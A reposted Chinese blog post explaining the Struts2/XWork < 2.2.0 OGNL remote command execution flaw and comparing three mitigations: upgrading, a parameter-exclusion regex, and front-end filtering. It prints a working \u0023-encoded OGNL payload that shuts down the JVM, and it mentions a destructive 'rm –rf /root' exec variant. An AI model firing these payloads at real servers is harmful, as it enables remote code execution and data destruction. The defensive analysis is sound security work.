主題:Struts2/XWork 安全漏洞及解決辦法(轉)

exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞。
漏洞名稱:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關介紹:

  • http://www.exploit-db.com/exploits/14360/
  • http://sebug.net/exploit/19954/


Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明爲一個ONGL(這裏是ONGL的介紹)語句。當我們提交一個http參數:

Java代碼 複製代碼
  1. ?user.address.city=Bishkek&user['favoriteDrink']=kumys  
?user.address.city=Bishkek&user['favoriteDrink']=kumys


ONGL將它轉換爲:

Java代碼 複製代碼
  1. action.getUser().getAddress().setCity("Bishkek")   
  2. action.getUser().setFavoriteDrink("kumys")  
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")


這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
爲了防範篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊

Java代碼 複製代碼
  1. ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1


轉義後是這樣:

Java代碼 複製代碼
  1. ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1  
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1


OGNL處理時最終的結果就是

Java代碼 複製代碼
  1. java.lang.Runtime.getRuntime().exit(1);  
java.lang.Runtime.getRuntime().exit(1);


類似的可以執行

Java代碼 複製代碼
  1. java.lang.Runtime.getRuntime().exec("rm –rf /root")  
java.lang.Runtime.getRuntime().exec("rm –rf /root")

,只要有權限就可以刪除任何一個目錄。
目前嘗試了3個解決方案:

1.升級到struts2.2版本。
這個可以避免這個問題,但是struts開發團隊沒有release這個版本(包括最新的2.2.1版本都沒有release),經我測試發現新版本雖然解決了上述的漏洞,但是新的問題是strus標籤出問題了。

Java代碼 複製代碼
  1. <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>   
  2. <s:property value="#UserUtil.getType().get(cType.toString())" />  
<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
<s:property value="#UserUtil.getType().get(cType.toString())" />


這樣的標籤在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的問題導致的,補了漏洞,正常的使用也用不了了。
所以sebug網站上的建議升級到2.2版本是不可行的。

2.struts參數過濾。

Java代碼 複製代碼
  1. <interceptor-ref name="params">   
  2. <param name="excludeParams">.*\\u0023.*</param>   
  3. </interceptor-ref>  
<interceptor-ref name="params">
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>


這個可以解決漏洞問題,缺點是工作量大,每個項目都得改struts配置文件。如果項目裏,是引用的一個類似global.xml的配置文件,工作量相應減少一些。

3.在前端請求進行過濾。
比如在ngnix,apache進行攔截,參數中帶有\u0023的一律視爲攻擊,跳轉到404頁面或者別的什麼頁面。這樣做的一個前提就是沒人把#號轉碼後作爲參數傳遞。

目前來看後兩種是比較有效的方法,採用第三種方法比較簡便。是否有另外的解決辦法,歡迎大家討論。

我並沒有在windows環境下測試,有同學在windows下沒有試驗成功,這並不能說明windows下就沒有風險可能是我們的參數或者什麼地方有問題而已。既然漏洞的確存在,咱們就要重視對吧。歡迎大家測試,是否windows下漏洞不能執行成功。

 

原文地址:http://www.iteye.com/topic/720209

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章